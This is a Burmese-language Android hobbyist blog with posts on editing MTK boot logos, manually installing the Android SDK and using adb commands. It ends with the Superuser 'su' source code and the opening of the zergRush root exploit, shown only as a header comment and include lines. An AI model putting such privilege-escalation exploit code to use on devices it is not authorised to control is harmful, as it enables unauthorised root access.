Wednesday, December 23, 2015

Flashtool Firmware ထဲမွ Logo.binကိုစိတ္ၾကိဳက္ျပင္ၿပီး BootLogoခ်ိန္းျခင္း

MTK device ေတြအတြက္ Flashtool firmware ေတြထဲမွာ img ေတြၾကားထဲမွာ logo.bin ေလးရွိပါတယ္။အဲဒီ bin ေလးကိုျဖည္လိုက္ရင္ boot တက္လာရင္ပထမဆုံးျပတဲ့ logo ပုံေလးေတြရွိပါတယ္။ အဲဒီေတာ့အဲဒီ ပုံေလးေတြကို မိမိဒီဇိုင္းနဲ႕ ျပန္လည္ျပဳျပင္ၿပီး Archive လုပ္ၿပီး Flash ရင္ ဖုန္းမွာ မိမိ လိုဂိုေလးနဲ႕ တက္လာမွာျဖစ္ပါတယ္။ အဲဒီေတာ့ logo.bin ကို ျဖည္ထုတ္ဖို႕ အသင့္သုံး Tool ေလးတစ္ခုရွိပါတယ္။ ေအာက္ကလင့္မွာအရင္ေဒါင္းလုပ္ဆြဲလိုက္ပါ။

DOWNLOAD HERE


ၿပီးရင္ Tool ကိုRun ပါ Create new project ကုိႏွိပ္လိုက္ရင္ မိမိျပင္ခ်င္တဲ့ Firmware ထဲက logo.bin ရွိရာကိုညႊန္းျပီးေရြးေပးလိုက္ပါ။ဒါဆို ျဖည္ထုတ္မယ့္ ဖိုင္ေတြထားဖို႕  ဖိုဒါတစ္ခုေရြးခိုင္းပါလိမ့္မယ္။ ဖိုဒါအသစ္ေဆာက္ၿပီး ေရြးေပးလိုက္ပါ။
ဒါဆို logo.bin ထဲကဖိုင္ေတြကို မိမိသတ္မွတ္ထားတဲ့ ဖိုဒါထဲျဖည္ထုတ္ပါလိမ့္မယ္။ ဒါဆိုေအာက္ပါအတုိင္းေတြ႕ရပါမယ္။အဲတိုင္းထားထားပါ။













ေနာက္အဆင့္အေနနဲ႕ကေတာ့ မိမိျဖည္ထုတ္ထားတဲ့ ဖိုင္ေတြထားရာဖိုဒါကိုသြားလိုက္ပါ။အဲမွာ ပုံေလးေတြေရာက္ေနပါၿပီ..အဲဒီမွာ မိမိျပင္ရမယ္မယ့္ အဓိက လိုဂိုပုံေတြေတြ႕ပါလိမ့္မယ္ မိမိဒီဇိုင္းအတုိင္းပုံနဲ႕  နာမည္တူေပးၿပီး အဲဒိဖိုဒါထဲ Replace လုပ္ပါ။ နဂိုက IMG39 ကို အစားထုိးမယ္ဆို မိမိစိတ္ၾကိဳက္ပုံကိုလည္း IMG39 ကိုအမည္ေပးၿပီး ထိုထဲကို paste လုပ္ပါ။ ဆိုဒ္တူ name တူပါေစ။ေသခ်ာခ်င္ယင္ေတာ့ ။။။ မိမိျပင္မယ့္ လိုဂိုပံုကို Right click ေထာက္ Open With.Photoshop နဲ႕ဖြင့္ၿပီး မိမိစိတ္ၾကိဳက္ရေအာင္ Edit ပါ ၿပီးရင္ layer ေတြ merge လုပ္ၿပီး Ctrl S နဲ႕ တစ္ခါတည္းSave လိုက္ပါ။..ဒါကေတာ့မိမိစိတ္ၾကိဳက္အပိုင္းပါ။ ေနာက္ဆုံးအဆင့္အေနနဲ႕ မိမိ စိတ္ၾကိဳက္ျဖစ္တာနဲ႕ ေစာေစာ က Tool ကိုျပန္သြားၿပီး Make ကိုႏွိပ္လိုက္ပါ။ အဲဒါဆို မိမိျဖည္ထားရာဖိုဒါမွာပဲ Logo.bin နဲ႕ updat.zip ကို ထုတ္ေပးထားပါလိမ့္မယ္။။အဲဒီေတာ့ မိမိ logo.bin ကို firmware ဖိုင္ထဲက logo.bin ေနရာမွာ Replace လုပ္ၿပီး Firmware ကို flash လုိက္ပါ။ ဒါမွမဟုတ္ update.zip ကို Recoveryကေန Flash လုပ္ၿပီး logo ခ်ိန္းလိုက္ပါ။ ဟုတ္ကဲ့ ဒါပါပဲခင္ည။အမွားပါရင္ ေတာင္းပန္ပါေၾကာင္း

Thursday, December 3, 2015

Android SDK ကုိ သံုးလို႔ရေအာင္ ဘယ္လိုျပင္ဆင္မလဲ... ?

SDK ကို Install ၿပီးရင္ SDK Manager ကိုဖြင့္လိုက္ပါ။ အဲဒီ့မွာ internet နဲ႕တိုက္ရိုက္ခ်ိတ္ဆက္ထားရင္ေတာ့ application ကေန လိုအပ္တဲ့ အပ္ဒိတ္ေတြအတြက္ repo ကိုေဒါင္းေနတာမို႔ ေခတၱ ခဏ ေစာင့္ပါ။ Android SDK ဟာ Linux အေျခခံထဲ Tools တစ္ခုျဖစ္တာေၾကာင့္ ထင္ပါတယ္ အြန္လိုင္းကိုအားထားအသံုးျပဳတယ္။ ဒီေတာ့ ျမန္မာႏိုင္ငံလို အြန္လိုင္းဆန္႔ငင္ ဆန္႔ငင္ျဖစ္ေနတဲ့ ႏုိင္ငံအတြက္ေတာ့ သိပ္အဆင္မေျပဘူးေပါ့ဗ်ာ... ဒီေတာ့ Completed Installation ျဖစ္ေအာင္ SDK Manager ကေနတိုက္ရိုက္မေဒါင္းဘဲ ကိုယ့္နည္းကိုယ့္ဟန္နဲ႕ Manual ေဒါင္းၿပီးမွ အင္စေတာလုပ္တဲ့ နည္းနဲ႕သြားၾကရေအာင္... အဲဒါက ပိုျမန္တယ္... IDM ေလးနဲ႕ေဒါင္းၿပီးလုပ္သြားတာေလ...
SDK Manager ကိုဖြင့္လိုက္တယ္ဆိုတာနဲ႕ ဒင္းက အြန္လိုင္းရွိေနရင္ update လုပ္ဖို႔အတြက္ ျပင္ဆင္ေတာ့တာပါဘဲ... ဘယ္လိုျပင္ဆင္သလဲဆုိရင္ https://dl-ssl.google.com/andr…/repository/addons_list-1.xml ဖိုင္ကို အရင္ဆံုး ေဒါင္းတယ္... ၿပီးရင္ အဲဒီ့ဖိုင္ထဲမွာပါတဲ့ အခ်က္အလက္ေတြနဲ႕ စက္ထဲမွာရွိတဲ့ အခ်က္ေတြ ကိုက္ညီမႈကို စစ္ေဆးတယ္... လိုအပ္တာကို ေဒါင္းဖို႔ ေျပာတယ္... ကဲ.. ဘယ္ေလာက္ အရစ္ရွည္သလဲ.. grin emoticon
အဲဒါၿပီးတဲ့အခါမွာ လိုအပ္တဲ့ ဖိုင္ေတြနဲ႔ သူတို႔ရဲ႕ အပ္ဒိတ္ကို ေဖၚျပေပးတယ္... Google Server မွာတင္ထားတဲ့ Android ရဲ႕ အစဆံုး Version ကေန ေနာက္ဆံုး Version အထိကို ေတြ႕ရလိမ့္မယ္... အိုေက ADK ကေန မေဒါင္းဘဲ မန္ညဴရယ္ ေဒါင္းၾကစို႔ ...
ADK ထဲမွာ ျပထားတဲ့ ကိုယ့္စက္ထဲမွာမရွိတဲ့ဖိုင္အေပၚဆံုးတစ္ခုကို ေရြးပါ။ အဲဒါကို အလြယ္ဆံုးေရြးဖို႔ကေတာ့ ၿပီးရင္ Show ဆိုတဲ့အထဲက update/New ဆိုတာကိုဘဲ ေ၇ြးၿပီး က်န္တာေတြကို ျဖဳတ္လိုက္ပါ။ ဒါဆို ကိုယ့္စက္ထဲမွာ မသြင္းရေသးတဲ့ Version ေတြကို ေတြ႕ရလိမ့္မယ္။ ၿပီးရင္ Install xx packages... ဆိုတာေလးကိုႏွိပ္လိုက္.။ Choose Package To Install ဆိုတဲ့ box ေလးထြက္လာလိမ့္မယ္... အဲဒီမွာ Accept All ဆိုတဲ့ Radio button ေလးကို ေရြးၿပီး Install ဆိုတာကိုႏွိပ္လိုက္။ ဒါဆိုရင္ အဲဒီ့ Box ေပ်ာက္သြားလိမ့္မယ္။ အိုေက ဒါဆုိရင္ IDM ရဲ႕ လုပ္ငန္းစလို႔ရၿပီေပါ့... C:\Android\android-sdk\temp ကိုသြားပါ... အဒီ့မွာ ADK ကေဒါင္းေနတဲ့ဖိုင္ကို ေတြ႕ရမယ္... အဲဒီ့ဖိုင္ကို F2 ႏွိပ္ၿပီး ဖိုင္ name ကိုေကာ္ပီယူ...။ ပထမက ေဒါင္းလုပ္ဆြဲထားတဲ့ addons_list-1.xml ရဲ႔ လိပ္စာေနရာမွာ ခုန ေကာ္ပီယူထားတဲ့ဖိုင္ရဲ႕နာမည္ကိုထည့္.. ၿပီးရင္ အဲဒီ့လိပ္စာအတိုင္ IMD ရဲ႕ ADD URL မွာရိုက္ထည့္ၿပီးေဒါင္းလိုက္ေပါ့.. အဲလို IDM ကေဒါင္းလိုက္ၿပီဆိုတာနဲ႕ ADK ကိုပိတ္လိုက္ပါ။ IDM ကေဒါင္းၿပီးသြားရင္ ရလာတဲ့ဖိုင္ကို C:\Android\android-sdk\temp မွာထည့္... ခနေစာင့္ ပထမေရြးထားတဲ့ ကလစ္ကိုဘဲ ျပန္ေရြးၿပီး install xx packages... ကိုႏွိပ္..
အဲဒီ့လို တစ္ခုျခင္းဆီကို လုပ္သြားမယ္ဆိုရင္ေတာ့ ADK ကို အျမန္ဆံုးနည္းနဲ႕ complete ျဖစ္သြားေစႏိုင္ပါတယ္...။
ADK တစ္ခုကို စက္ျပင္ရံုေလာက္ဘဲ သံုးမယ္ဆိုရင္ေတာ့ http://www.mediafire.com/?7dgxjq5z2plccw9 ကိုေဒါင္းၿပီး C:\Android\android-sdk\ ထဲမွာ ျဖည္ထည့္လိုက္ရံုပါဘဲ...
ၿပီးရင္ My Computer -> System Properties -> Advance -> Environment Variables -> System Variables -> path ရဲ႕ေနာက္ဆံုးမွာ C:\Android\android-sdk\platform-tools ဆိုတာေလးထည့္ၿပီး ကြန္ပ်ဴတာကို Restart ခ်... ျပန္တတ္လာရင္ cmd ကေန adb start-server ဆိုတာကိုရိုက္ၾကည့္... ဘာ errror မွမတတ္ဘဲ ေနာက္တစ္လိုက္ျပသြားတယ္ဆိုရင္ အိုေကၿပီေပါ့...
ဒီမွာေတာ့ ပံုနဲ႕ ေဖၚျပလို႔ မတတ္တာေၾကာင့္ အေသးစိတ္ကို ပံုေတြနဲ႔တကြ http://www.myidgroup.org/…/2107-Starting-Android-Development မွာေဖၚျပထားပါတယ္...

"ADK အားေလ့လာျခင္း အပိုင္း - ၃"

အခု အပိုင္းေတြကို ေရးေနရင္းနဲ႕ ေရးဖို႔က်န္ခဲ့တာေတြကို စဥ္းစားမိလို႔ ADK အားေလ့လာျခင္း ကို ဒီအပိုင္းနဲ႕ဘဲ အဆံုးသတ္လိုက္ပါရေစ။ ေနာက္ေခါင္းစဥ္ေတြနဲ႕ အေသးစိတ္ေရးသားပါ့မယ္။
အခု အပိုင္းမွာေတာ့ ADB ရဲ႕ Command (မသိမျဖစ္) တစ္ခ်ဳိ႕ကိုေရးၿပီး လက္စ သတ္လိုက္ပါရေစလို႔ေတာင္းပန္ပါတယ္။
အဲဒါေတြကေတာ့ wait-for-devices, devices နဲ႕ reboot တို႔ဘဲျဖစ္ပါတယ္
(1) wait-for-device -> android စက္တစ္ခုကို ကြန္ပ်ဴတာနဲ႕ခ်ိတ္ဆက္မိရဲ႕လားဆိုတာ စမ္းသပ္တဲ့ Command ပါ။ Computer နဲ႕ Devices ခ်ိတ္ဆက္မမိမျခင္းမွာ ဒီ Command မွာဘဲ ရပ္ေနပါလိမ့္မယ္။ ခ်ိတ္ဆက္မိသြားတယ္ဆိုရင္ေတာ့ Command ရဲ႕ process ကၿပီးသြားၿပီမို႔ cmd ရဲ႕ မူလကို ျပန္ေရာက္သြားလိမ့္မယ္။ အသံုးကေတာ့ adb wait-for-devices
(2) devices -> ကြန္ပ်ဴတာနဲ႕ ခ်ိတ္ဆက္ထားတဲ့ android စက္တစ္လံုးရဲ႕ အေနအထားကို ေဖၚျပဖို႔အတြက္သံုးပါတယ္။ ေျပာရင္ ကြန္ပ်ဴတာနဲ႕ android စက္ ဘယ္ႏွစ္လံုးခ်ိတ္ထားသလဲဆိုတာကို ျပေပးဖို႔အတြက္ သံုးပါတယ္။ adb devices လို႔ရိုက္လိုက္ရင္ android စက္ရဲ႕ serial no နဲ႕ model ကို ျပသပါလိမ့္မယ္။
(3) reboot -> ကေတာ့ ရွင္းပါတယ္... ခ်ိတ္ဆက္ထားတဲ့ android စက္တစ္ခုကို reboot လုပ္ဖို႔သံုးပါတယ္။ ဒီေနရာမွာ ေနာက္ထပ္ option ေတြရွိပါေသးတယ္။ adb reboot recovery ဆိုရင္ recovery ကီးေတြႏွိပ္ေနသစရာမလိုဘဲ recovery mod ကို၀င္လို႔ရပါတယ္။ အဲလိုဘဲ bootloader ဘဲ reboot လုပ္ခ်င္တယ္ဆိုရင္ adb reboot bootloader ဆိုရင္ ရပါတယ္။ adb reboot ဆိုရင္ေတာ့ စက္ကို restart ခ်လိုက္တာနဲ႔ အတူတူပါဘဲ။ တစ္ခ်ဳိ႕ေမာ္ဒယ္ေတြမွာေတာ့ reboot bootloader ဟာ စက္ကို restart ခ်တာနဲ႕ တူေပမဲ့ တစ္ခ်ဳိ႕က်ေတာ့ စက္မွာ ဘာမွ မျပဘဲေနတတ္ပါတယ္။
ဒီေလာက္ဆိုရင္ adb ရဲ႕ အသံုးတည့္ command ေတြကိုတင္ျပလို႔ၿပီးၿပီလို႔ထင္ပါတယ္။ ဒီထက္အေသးစိတ္တဲ့ ပိုၿပီး ျပည့္စံုတဲ့ post တစ္ကို ထပ္မံေရးသားရင္းနဲ႕ အခုအပိုင္းေတြပါ အဲဒီ့ ပိုစ့္မွာ ပါ၀င္သြားမွာျဖစ္တဲ့အတြက္ေၾကာင့္... ၀င္ေရာက္ဖတ္ရႈေလ့လာသူမ်ား စိတ္မပ်က္ေစဖို႔ အေကာင္းဆံုးဆက္လက္တင္ဆက္သြားပါမယ္လို႔ ေျပာၾကားရင္း ကိုရီယားကားေတြလိုအပိုင္းခြဲေနရတဲ့ ကိစၥကို အဆံုးသတ္လိုက္ပါၿပီခင္ဗ်ား.....
အခုလို ၀င္ေရာက္ဖတ္ရႈ႕ေလ့လာတဲ့အတြက္ ေက်းဇူးပါ

"ADK အားေလ့လာျခင္း အပိုင္း - ၂"

ေန႔လည္ေလာက္က adb ရဲ႕ push ကို တင္ျပေပးထားပါတယ္။ အခု က်န္တဲ့ command ေတြကို ဆက္ပါမယ္။
(2) pull -> android စက္ေတြထဲက data ေတြ၊ ဖိုင္ေတြ ဖိုလ္ဒါေတြကို ျပန္လည္ ထုတ္ယူလိုတဲ့အခါမွာသံုးပါတယ္။ (ေကာ္ပီယူတာပါ...) သံုးပံုသံုးနည္းကလည္း push နဲ႕အတူတူပါဘဲ...။ adb pull <android စက္ထဲက ထုတ္ယူလိုတဲ့ဖိုင္/ဖိုလ္ဒါေနရာႏွင့္အမည္> <အဲဒီ့ဖိုင္/ဖိုလ္ဒါကို သိမ္းမည့္ေနရာ>
(3)shell -> android စက္ေတြထဲကို ၀င္ေရာက္ေမြေႏွာက္ဖို႔အတြက္ linux kernel ရဲ႕ Terminal တစ္ခုပါ။ adb shell -> Enter ဆိုရင္ # ေလးနဲ႕အစျပဳၿပီးေပၚလာပါလိမ့္မယ္...။ ubuntu ရဲ႕ shell command ေတြကို ကၽြမ္းက်င္တဲ့သူေတြဆိုရင္ အဲဒီ့အပိုင္းကို ပိုင္ႏိုင္ပါလိမ့္မယ္။ shell ကေန ဖုန္းတစ္လံုးကို root အစစ္ျဖစ္မျဖစ္စစ္လို႔ရပါတယ္။ adb shell -> su ဆိုၿပီးရိုက္ၾကည့္လိုက္ပါ..။ root ျဖစ္ေနၿပီဆိုရင္ su user ကိုအသံုးျပဳလို႔ရပါတယ္။ အဲဒီ့ shell အတြက္ command ေတြကို သိခ်င္ရင္ေတာ့ android စက္ထဲကို root explorer တစ္ခုခုထည့္ၿပီး System -> xbin ထဲကိုသြားၾကည့္ပါ... အဲဒီ့မွာပါတဲ့ဖိုင္နာမည္ေတြဟာ Command ေတြခ်ည္းပါဘဲ... chpasswd ဆိုတာလည္းပါတာမို႔ su ရဲ႕ password ကိုေျပာင္းတာျဖစ္ေစ add ဆိုတာပါတဲ့အတြက္ ကုိယ္တိုင္ user အေကာင့္တစ္ခု ေဆာက္တာဘဲျဖစ္ေစ လုပ္လို႔ရပါတယ္... အဲဒီ့အပိုင္းေတြကေတာ့ ေနာက္ shell အပိုင္းေ၇ာက္မွ ဆက္ၾကရေအာင္ဗ်ာ...
(4) install -> android စက္ေတြထဲကို apk ဖိုင္ေတြ Install လုပ္တဲ့ေနရာမွာသံုးပါတယ္..။ root လုပ္တဲ့ bat ဖိုင္ေတြမွာ အခု က်ေနာ္ျပထားတဲ့ command ေတြသံုးေလ့ရွိတာကို အဲဒီ့ bat ဖိုင္ကို notepad နဲ႕ဖြင့္ၾကည့္ၿပီးေလ့လာႏိုင္ပါတယ္။ သံုးပံုသံုးနည္းက ရွင္းပါတယ္... adb install <install လုပ္မဲ့ဖိုင္> ဒါေလးပါဘဲ။ ဥပမာ - adb install "C:\Documents and Settings\user\Desktop\SkirtUp_1
.0.1.apk" ဒါဆိုရင္ android စက္ထဲကို SkritUp_1.0.1 ဆိုတဲ့ application ေလးတစ္ခုကို install လုပ္လိုက္တဲ့သေဘာပါဘဲ... SD Card ထဲထည့္ အဲဒီ့ကေနမွ ဖုန္းကေန install လုပ္... အဲလို အဆင့္ေတြ လုပ္စရာမလိုဘဲ apk ဖိုင္လဲ က်န္မေနဘဲ install လုပ္တာမို႔ Service သမားေတြအတြက္ အဆင္ေျပႏိုင္ပါတယ္။
(5) kill-server -> ဒါကေတာ့ adb command ကို ရပ္လိုက္တဲ့သေဘာပါဘဲ... adb command ကိုစေတာ့မယ္ဆိုရင္ အခု Command ကို မျဖစ္မေန စရပါ့မယ္။ ဘာလို႔လဲဆိုေတာ့ တစ္ခါတစ္ေလ တစ္ခ်ဳိ႕ Tools ေတြကို အသံုးျပဳၿပီးတဲ့အခါ အဲဒီ့ Tools ေတြက သူတို႔ရဲ႕ private folder ေတြထဲက adb tool ကို အသံုးျပဳထားတာေၾကာင့္ အဲဒ့ီ adb ကို အရင္ဆံုး ရပ္လိုက္ရပါမယ္... မရပ္ရင္ေရာ ဘာျဖစ္သလဲ... ဘာမွေတာ့ အႀကီးႀကီးမျဖစ္ပါဘူး.. ဒါေပမဲ့ ဗားရွင္းမတူတဲ့အခါ.. ဥပမာ - 4.1.1 အတြက္ adb ကိုသံုးရေတာ့မယ္ဆိုရင္ ပထမသုံးထားတဲ့ Tools ရဲ႕ adb က 3.2 အတြက္ဘဲရွိတာဆိုရင္ေတာ့ command ကို ေကာင္းေကာင္းအလုပ္လုပ္ႏုိင္မွာမဟုတ္ပါဘူးလို႔ဆိုထားတယ္... လက္ေတြ႕ေတာ့ မႀကံဳ၀ူးေတးပါဘူး... ဒါေပမဲ့ ဘာဘဲေျပာေျပာ ဖြင့္ထားထား မဖြင့္ထားထား အရင္ဆံုး kill လုပ္လိုက္တာ ပိုေကာင္းပါတယ္။
(6) start-server -> ဒါကေတာ့ ခုနက kill လုပ္လိုက္ၿပီးမွာ ကိုယ့္ရဲ႕ SDK ထဲက adb ကို run ဖို႔အတြက္ ႏိုးလိုက္တဲ့သေဘာပါဘဲ... မႏိုးဘဲသံုးလို႔ရသလားဆိုေတာ့ ရပါတယ္... ဘာလို႔လဲ.. က်ေနာ္တို႔ ADK ကို path လမ္းေၾကာင္းေပးထားခဲ့ၿပီးပါၿပီး dos command မွာ adb လို႔ရိုက္လိုက္တာနဲ႕ adb က အလိုလို start-server ျဖစ္သြားပါၿပီ။ ဒီ Command ကို ဘယ္လိုေနရာေတြမွာသံုးသလဲဆိုရင္ path ေပးမထားတဲ့ ကြန္ပ်ဴတာေတြမွာသံုးဖို႔လို႔ထင္ပါတယ္... grin emoticon မွားသြားရင္ Sorry ေနာ္...
ကဲ ေနာက္တစ္ပိုင္းကို နားၿပီးမွဘဲ ဆက္မယ္...
အခုလို ၀င္ေရာက္ဖတ္ရႈ႕ေလ့လာတဲ့အတြက္ ေက်းဇူးပါ

"ADK အားေလ့လာျခင္း"

Android Developer တစ္ေယာက္အေနနဲ႕ မသိမျဖစ္ သိကိုသိေနရမွာက ADK ရဲ႕ သေဘာသဘာ၀နဲ႕ အသံုးေတြပါ။ ADK ထဲမွာပါတဲ့ အေရးႀကီးတဲ့ အပိုင္းေလာက္ကိုဘဲ ေျပာျပသြားပါ့မယ္... ဖိုလ္ဒါအကုန္လံုးကိုေတာ့ ကိုယ့္ဖာသာကို စမ္းသပ္ေလ့လာၿပီး အသံုးျပဳသြားႏုိင္ဖို႔ေမွ်ာ္လင့္ပါတယ္။
ADK ရဲ႕ အသံုးမ်ားဆံုးေသာ နံပါတ္ (၁) ဖိုလ္ဒါကေတာ့ Platform Tools ဘဲျဖစ္ပါတယ္...။ အဲဒီ့အထဲမွာ api ေတြ Script ေတြ lib ေတြနဲ႕ tools ေတြထည့္သြင္းေပးထားတယ္။ Tools ေတြကို ေလ့လာၾကည့္မယ္ဆိုရင္ -
(1) aapt.exe
(2) adb.exe
(3) aidl.exe
(4) dexdump.exe
(5) dx.bat
(6) fastboot.exe
(7) llvm-rs-cc.exe
ဆိၿပီးေတြ႕ရလိမ့္မယ္။ အဲဒီ့ Tools ေတြထဲက အသံုးမ်ားဆံုးက adb နဲ႕ fastboot ဘဲျဖစ္ပါတယ္။ developing လုပ္ေတာ့မယ္ဆိုရင္ေတာ့ အားလံုးကို သံုးရပါလိ္မ့္မယ္။ ေလာေလာဆယ္ အသံုးမ်ားဆံုး Tools ႏွစ္ကို အရင္ရွင္းပါ့မယ္။ တကယ္လည္းအသံုးတည့္ပါတယ္။

"adb အားတစ္ေစ့တစ္ေစာင္းေျခာင္းေျမာင္းျခင္း"
adb ဆိုတာက Android Debug Bridge ရဲ႕အတိုေကာက္ပါ။ adb ကေန ဘာေတြလုပ္နိုင္သလဲဆိုေတာ့... သူ႔နာမည္အတိုင္း debug လုပ္လို႔ရတယ္လို႔ေျပာရမွာဘဲဗ်။
ပထမေရးခဲ့တဲ့ထဲေတြကအတိုင္း လုပ္ခဲ့ၿပီးသာဆိုရင္ အခု က်ေနာ္ဆက္ေရးမဲ့အပိုင္းမွာ ပိုမိုလြယ္ကူပါလိမ့္မယ္။ ကဲ ဆက္ၾကစို႔...
အရင္ဆံုး cmd ကို win+r -> cmd -> Enter လုပ္ၿပီး ၀င္လုိက္ပါ။ CMD ေရာက္ၿပီဆိုရင္ adb လို႔ရိုက္ထည့္လိုက္ၿပီး Enter ႏွိပ္ပါ။ အဲဒီ့မွာ adb နဲ႕ပတ္သတ္တဲ့ command ေတြနဲ႕ အသံုးေတြကို help အေနနဲ႕ ျပေပးပါလိမ့္မယ္။
adb ရဲ႕ Command ေတြအားလံုးကို အေသးစိတ္ေရးသြားပါ့မယ္။ တစ္ခု သတိထားရမွာက adb ကိုသံုးေတာ့မယ္ဆိုရင္ အခုေရးမဲ့ command ေတြရဲ႕ေရွ႕မွာ adb ဆိုတဲ့ main tool ကို ထည့္ေပးၿပီး space ျခားၿပီးမွ Command ကိုေရးရမွာျဖစ္ပါတယ္။ command ကိုေရးတဲ့အခါမွာလည္း case sensitive ျဖစ္တာေၾကာင့္ စာလံုးေပါင္းအႀကီး အေသး dash underscore dot စတာေတြကို ေသခ်ာ ဂရုစိုက္ဖို႔လိုပါလိမ့္မယ္.. မွားသြားရင္ေတာ့ help command ႀကီးျပန္ျပန္တတ္လာတာ ႀကံဳရလိမ့္မယ္။
ကဲ command ေတြ စလိုက္ၾကရေအာင္...
(1) push -> android စက္ေတြထဲကို ဖိုင္ေတြ ဖိုလ္ဒါေတြကို ထည့္သြင္းတဲ့ေနရာမွာ အသံုးျပဳပါတယ္။ အသံုးျပဳပံု -> adb push <ထည့္သြင္းခ်င္တဲ့ဖိုင္/ဖိုလ္ဒါ> <ထည့္သြင္းမဲ့ေနရာ>
ဥပမာ - adb push test.apk /sdcard အဲဒါဆိုရင္ ဟန္းဆက္ထဲက SD Card ထဲကို C:\Android\android-sdk\platform-tools ထဲက tesk.apk ကို ထည့္လိုက္တာပါ။ အဲဒီ့ေနရာမွာ လြယ္တဲ့ Shortcut တစ္ခုကေတာ့ cmd ထဲမွာ adb push လို႔ရိုက္ၿပီးတာနဲ႕ Space ျခားၿပီး ကုိယ္ထည့္ခ်င္တဲ့ဖိုင္ ဘယ္ေနရာမွာရွိတဲ့ဖိုင္ျဖစ္ျဖစ္ cmd ထဲကို drag and draw လုပ္လိုက္ၿပီး space ျခား ၿပီး handset ထဲက ပို႔ခ်င္တဲ့ေနရာ ကိုေရြးလိုက္ရံုပါဘဲ။ root လုပ္တဲ့အခါမွာ လိုအပ္တဲ့ဖိုင္ေတြထည့္သြင္းတဲ့ေနရာမွာ သံုးပါတယ္။ မ်ားေသာအားျဖင့္ေတာ့ /data/local/temp ထဲကို ထည့္သြင္းၿပီးမွ လုပ္ၾကတာမ်ားပါတယ္။
အခုေတာ့ နည္းနည္း အလုပ္ေပၚလာလို႔ ေနာက္ပိုင္း command ေတြကို ေနာက္ post အသစ္တစ္ခုအေနနဲ႕ ေရးပါ့မယ္...
ေက်းဇူးတင္ပါတယ္

အခုတင္လိုက္တာကေတာ့ က်ေနာ္တို႔ root လုပ္တဲ့အခါမွာ မျဖစ္မေနသံုးေနရတဲ့ Super User ေခၚ su ရဲ႕ Source Code ေလးပါ

သူကို C Programming Language နဲ႕ေရးထားပါတယ္... ေလ့လာဆန္းစစ္ခ်င္သူေတြအတြက္ပါ....
/*
**
** Copyright 2008, The Android Open Source Project
**
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
** http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <dirent.h>
#include <errno.h>
#include <sys/stat.h>
#include <unistd.h>
#include <time.h>
#include <pwd.h>
#include <sqlite3.h>
#define DBPATH "/data/data/koushikdutta.superuser/databases/superuser.sqlite"
static int g_puid;
static void printRow(int argc, char** argv, char** azColName)
{
int i;
for (i = 0; i < argc; i++)
{
printf("%s: %s\n", azColName[i], argv[i]);
}
}
typedef struct whitelistCallInfo whitelistCallInfo;
struct whitelistCallInfo
{
sqlite3* db;
int count;
};
static int whitelistCallback(void *data, int argc, char **argv, char **azColName)
{
whitelistCallInfo* callInfo = (whitelistCallInfo*)data;
// note the count
int count = atoi(argv[2]);
callInfo->count = count;
// remove whitelist entries that are expired
if (count - 1 <= 0)
{
char remove[1024];
sprintf(remove, "delete from whitelist where _id='%s';", argv[0]);
sqlite3_exec(callInfo->db, remove, NULL, NULL, NULL);
return 0;
}
char update[1024];
sprintf(update, "update whitelist set count=%d where _id='%s';", count, argv[0]);
sqlite3_exec(callInfo->db, update, NULL, NULL, NULL);
return 0;
}
static int checkWhitelist()
{
sqlite3 *db;
int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN_READWRITE, NULL);
if (!rc)
{
char *errorMessage;
char query[1024];
sprintf(query, "select * from whitelist where _id=%d limit 1;", g_puid);
struct whitelistCallInfo callInfo;
callInfo.count = 0;
callInfo.db = db;
rc = sqlite3_exec(db, query, whitelistCallback, &callInfo, &errorMessage);
if (rc != SQLITE_OK)
{
sqlite3_close(db);
return 0;
}
sqlite3_close(db);
return callInfo.count;
}
sqlite3_close(db);
return 0;
}
static int executionFailure(char *context)
{
fprintf(stderr, "su: %s. Error:%s\n", context, strerror(errno));
return -errno;
}
static int permissionDenied()
{
// the superuser activity couldn't be started
printf("su: permission denied\n");
return 1;
}
int main(int argc, char **argv)
{
struct stat stats;
struct passwd *pw;
int uid = 0;
int gid = 0;
int ppid = getppid();
char szppid[256];
sprintf(szppid, "/proc/%d", ppid);
stat(szppid, &stats);
g_puid = stats.st_uid;
// lets make sure the caller is allowed to execute this
if (!checkWhitelist())
{
char sysCmd[1024];
sprintf(sysCmd, "am start -a android.intent.action.MAIN -n koushikdutta.superuser/koushikdutta.superuser.SuperuserRequestActivity --ei uid %d --ei pid %d > /dev/null", g_puid, ppid);
if (system(sysCmd))
return executionFailure("am.");
int found = 0;
int i;
for (i = 0; i < 10; i++)
{
sleep(1);
// 0 means waiting for user input
// > 0 means yes/always
// < 0 means no
int checkResult = checkWhitelist();
if (checkResult > 0)
{
found = 1;
break;
}
else if (checkResult < 0)
{
// user hit no
return permissionDenied();
}
}
if (!found)
return permissionDenied();
}
if(setgid(gid) || setuid(uid))
return permissionDenied();
char *exec_args[argc + 1];
exec_args[argc] = NULL;
exec_args[0] = "sh";
int i;
for (i = 1; i < argc; i++)
{
exec_args[i] = argv[i];
}
execv("/system/bin/sh", exec_args);
return executionFailure("sh");
}

Root လုပ္ရာမွာ သံုးေလ့ရွိတဲ့ zergrush ရဲ႕ Source Code ပါ

သူလည္းဘဲ C Programming Language နဲ႕ေရးထားပါတယ္။
xxxxxxxxxxxxx
/* android 2.2/2.3 libsysutils root exploit use-after-free
*
* Exploited by rewriting a FrameworkCommand object making the runCommand
* point to our first ROP gadget.
*
* Copyright (c) 2011, The Revolutionary development team.
*
* Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK,
* THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE
* WARNED! I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
*
* It only works if called from adb shell since we need group log.
*
* Compile:
* agcc zergRush.c -o zergRush -ldiskconfig -lcutils
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>
#include <dirent.h>
